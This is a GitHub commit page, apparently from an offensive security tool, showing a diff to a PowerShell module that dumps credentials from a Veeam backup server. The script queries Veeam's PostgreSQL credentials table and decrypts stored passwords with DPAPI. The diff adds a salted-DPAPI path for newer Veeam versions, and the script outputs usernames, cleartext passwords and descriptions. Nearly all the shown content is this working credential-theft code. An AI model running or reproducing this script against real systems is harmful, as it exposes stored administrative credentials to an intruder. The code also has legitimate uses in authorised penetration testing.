-
Notifications
You must be signed in to change notification settings - Fork 416
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'main' into remove_pywerview
Signed-off-by: mpgn <[email protected]>
- Loading branch information
Showing
12 changed files
with
1,596 additions
and
1,101 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,22 +1,50 @@ | ||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" | ||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" | ||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" | ||
$b64Salt = "REPLACE_ME_b64Salt" | ||
|
||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" | ||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" | ||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv | ||
|
||
if ($output.count -eq 0) { | ||
Write-Host "No passwords found!" | ||
exit | ||
} | ||
|
||
# Decrypting passwords using DPAPI | ||
Add-Type -assembly System.Security | ||
#Decrypting passwords using DPAPI | ||
$output | ForEach-Object -Process { | ||
$EnryptedPWD = [Convert]::FromBase64String($_.password) | ||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) | ||
$EncryptedPWD = [Convert]::FromBase64String($_.password) | ||
$enc = [system.text.encoding]::Default | ||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' | ||
|
||
try { | ||
# Decrypt password with DPAPI (old Veeam versions) | ||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) | ||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' | ||
} catch { | ||
try{ | ||
# Decrypt password with salted DPAPI (new Veeam versions) | ||
$salt = [System.Convert]::FromBase64String($b64Salt) | ||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) | ||
foreach ($byte in $EncryptedPWD) | ||
{ | ||
$hex.AppendFormat("{0:x2}", $byte) > $null | ||
} | ||
$hex = $hex.ToString().Substring(74,$hex.Length-74) | ||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) | ||
for ($i = 0; $i -lt $hex.Length; $i += 2) | ||
{ | ||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) | ||
} | ||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) | ||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' | ||
}catch { | ||
$pw_string = "COULD_NOT_DECRYPT" | ||
} | ||
} | ||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' | ||
$_.password = $pw_string | ||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' | ||
} | ||
|
||
Write-Output $output | Format-Table -HideTableHeaders | Out-String | ||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 |
Oops, something went wrong.